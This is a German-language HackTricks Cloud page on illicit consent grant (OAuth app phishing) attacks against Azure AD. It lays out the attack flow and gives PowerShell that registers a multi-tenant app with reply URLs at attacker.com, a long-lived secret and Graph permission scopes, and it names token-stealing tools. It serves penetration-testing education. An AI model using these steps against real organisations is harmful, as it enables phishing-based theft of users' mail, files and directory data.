German - Ht Cloud
HackTricks TrainingTwitterLinkedinSponsor

Az - Illicit Consent Grant

Support HackTricks

OAuth App Phishing

Azure-Anwendungen fragen nach Berechtigungen, um auf die Benutzerdaten (Basisinformationen, aber auch Zugriff auf Dokumente, E-Mails senden...) zuzugreifen. Wenn erlaubt, kann ein normaler Benutzer nur für "Low Impact"-Berechtigungen Zustimmung erteilen. In allen anderen Fällen ist die Zustimmung des Administrators erforderlich. GA, ApplicationAdministrator, CloudApplication Administrator und eine benutzerdefinierte Rolle, die Berechtigung zur Erteilung von Berechtigungen an Anwendungen umfasst, können eine tenantweite Zustimmung erteilen.

Nur Berechtigungen, die keine Administratorzustimmung erfordern, werden als niedriges Risiko klassifiziert. Dies sind Berechtigungen, die für die grundlegende Anmeldung erforderlich sind: openid, profile, email, User.Read und offline_access. Wenn eine Organisation **Benutzerzustimmung für alle Apps erlaubt, kann ein Mitarbeiter einer App die Zustimmung erteilen, um die oben genannten Informationen aus seinem Profil zu lesen.

Daher könnte ein Angreifer eine bösartige App vorbereiten und mit einem Phishing den Benutzer dazu bringen, die App zu akzeptieren und seine Daten zu stehlen.

2 Arten von Angriffen mit unrechtmäßiger Zustimmung

  • Unauthenticated: Erstellen Sie von einem externen Konto aus eine Anwendung mit den Berechtigungen User.Read und User.ReadBasic.All, phishen Sie einen Benutzer, und Sie können auf Verzeichnisinformationen zugreifen.

  • Dies erfordert, dass der phished Benutzer in der Lage ist, OAuth-Apps aus externen Umgebungen zu akzeptieren!

  • Authenticated: Nachdem Sie einen Principal mit ausreichenden Berechtigungen kompromittiert haben, erstellen Sie eine Anwendung im Konto und phishen Sie einen privilegierten Benutzer, der privilegierte OAuth-Berechtigungen akzeptieren kann.

  • In diesem Fall können Sie bereits auf die Informationen des Verzeichnisses zugreifen, sodass die Berechtigung User.ReadBasic.All nicht mehr interessant ist.

  • Sie sind wahrscheinlich an Berechtigungen interessiert, die einen Administrator zur Erteilung benötigen, da ein normaler Benutzer OAuth-Apps keine Berechtigungen erteilen kann, weshalb Sie nur diese Benutzer phishen müssen (mehr dazu, welche Rollen/Berechtigungen dieses Privileg gewähren, später).

Überprüfen, ob Benutzer zustimmen dürfen

Der folgende PowerShell-Befehl wird verwendet, um die Zustimmungskonfiguration für Benutzer in Azure Active Directory (Azure AD) hinsichtlich ihrer Fähigkeit zu überprüfen, Anwendungen zuzustimmen:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole

  • Benutzerzustimmung deaktivieren: Diese Einstellung verbietet es Benutzern, Anwendungen Berechtigungen zu gewähren. Keine Benutzerzustimmung zu Anwendungen ist erlaubt.

  • Benutzer können Apps von verifizierten Herausgebern oder Ihrer Organisation zustimmen, jedoch nur für die von Ihnen ausgewählten Berechtigungen: Diese Einstellung erlaubt es allen Benutzern, nur Anwendungen zuzustimmen, die von einem verifizierten Herausgeber veröffentlicht wurden und Anwendungen, die in Ihrem eigenen Mandanten registriert sind. Sie fügt eine Kontrollschicht hinzu, indem sie Zustimmung nur für spezifische Berechtigungen erlaubt.

  • Benutzer können allen Apps zustimmen: Diese Einstellung ist großzügiger und erlaubt es allen Benutzern, für Anwendungen jeder Berechtigung zuzustimmen, solange diese Berechtigungen keine administrative Zustimmung erfordern.

  • Benutzerdefinierte App-Zustimmungspolitik: Diese Einstellung zeigt an, dass eine benutzerdefinierte Richtlinie vorhanden ist, die an spezifische organisatorische Anforderungen angepasst werden kann und möglicherweise eine Kombination von Einschränkungen basierend auf dem App-Herausgeber, den angeforderten Berechtigungen der App und anderen Faktoren umfasst.

Verstehen des Angriffs durch illegale Zustimmung

Bei einem Angriff durch illegale Zustimmung tricksen Angreifer Endbenutzer, indem sie ihnen erlauben, einer bösartigen Anwendung, die bei Azure registriert ist, Berechtigungen zu gewähren. Dies geschieht, indem die Anwendung legitim erscheint, was die Opfer dazu führt, unwissentlich auf eine "Akzeptieren"-Schaltfläche zu klicken. Infolgedessen gibt Azure AD ein Token an die Website des Angreifers aus, das ihnen den Zugriff auf und die Manipulation der Daten des Opfers ermöglicht, wie z.B. das Lesen oder Senden von E-Mails und den Zugriff auf Dateien, ohne ein organisatorisches Konto zu benötigen.

Überblick über den Angriffsablauf

Der Angriff umfasst mehrere Schritte, die auf ein generisches Unternehmen abzielen. So könnte es ablaufen:

  1. Domainregistrierung und Anwendungs-Hosting: Der Angreifer registriert eine Domain, die einer vertrauenswürdigen Website ähnelt, z.B. "safedomainlogin.com". Unter dieser Domain wird eine Subdomain erstellt (z.B. "companyname.safedomainlogin.com"), um eine Anwendung zu hosten, die darauf ausgelegt ist, Autorisierungscodes zu erfassen und Zugriffstoken anzufordern.

  2. Anwendungsregistrierung in Azure AD: Der Angreifer registriert dann eine Multi-Tenant-Anwendung in seinem Azure AD-Mandanten und benennt sie nach dem Zielunternehmen, um legitim zu erscheinen. Er konfiguriert die Redirect-URL der Anwendung so, dass sie auf die Subdomain verweist, die die bösartige Anwendung hostet.

  3. Einrichten von Berechtigungen: Der Angreifer richtet die Anwendung mit verschiedenen API-Berechtigungen ein (z.B. Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Diese Berechtigungen erlauben es dem Angreifer, sensible Informationen im Namen des Benutzers zu extrahieren, sobald sie vom Benutzer gewährt werden.

  4. Verbreitung bösartiger Links: Der Angreifer erstellt einen Link, der die Client-ID der bösartigen Anwendung enthält, und teilt ihn mit gezielten Benutzern, um sie zu täuschen, damit sie Zustimmung gewähren.

Nutzung von Tools für den Angriff

Der Angriff kann mit Tools wie 365-Stealer erleichtert werden.

Vorbereitung vor dem Angriff:

Wenn der Angreifer einen gewissen Zugang zu einem Benutzer in der Opferorganisation hat, könnte er überprüfen, ob die Richtlinie der Organisation es dem Benutzer erlaubt, Apps zu akzeptieren:

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

Um den Angriff auszuführen, müsste der Angreifer eine neue App in seinem Azure-Mandanten (in App-Registrierungen) erstellen, die mit den Berechtigungen konfiguriert ist:

User.ReadBasic.All befindet sich in Microsoft Graph in Delegierten Berechtigungen. (Anwendungsberechtigungen benötigen immer eine zusätzliche Genehmigung).

  • User.ReadBasic.All ist die Berechtigung, die es Ihnen ermöglicht, Informationen über alle Benutzer in der Organisation zu lesen, wenn sie gewährt wird.

  • Denken Sie daran, dass nur GA, ApplicationAdministrator, CloudApplication Administrator und eine benutzerdefinierte Rolle, die Berechtigung zur Gewährung von Berechtigungen an Anwendungen umfasst, eine mandantenweite Zustimmung erteilen können. Daher sollten Sie einen Benutzer mit einer dieser Rollen phishing, wenn Sie möchten, dass er eine App genehmigt, die eine Administratorgenehmigung erfordert.

Sie könnten auch eine App über die CLI mit folgendem Befehl erstellen:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

Überprüfen Sie https://www.alteredsecurity.com/post/introduction-to-365-stealer, um zu erfahren, wie Sie es konfigurieren.

Beachten Sie, dass das erhaltene Zugriffstoken für den Graph-Endpunkt mit den Berechtigungen: User.Read und User.ReadBasic.All (den angeforderten Berechtigungen) sein wird. Sie werden keine anderen Aktionen durchführen können (aber diese sind ausreichend, um Informationen über alle Benutzer in der Organisation herunterzuladen).

O365-Attack-Toolkit

Sie könnten auch dieses Tool verwenden, um diesen Angriff durchzuführen.

Post-Exploitation

Sobald Sie Zugriff auf den Benutzer haben, können Sie Dinge tun wie das Stehlen sensibler Dokumente und sogar das Hochladen von mit Backdoors versehenen Dokumentdateien.

References

Support HackTricks
PreviousAz - Unauthenticated Enum & Initial EntryNextAz - Device Code Authentication Phishing

Last updated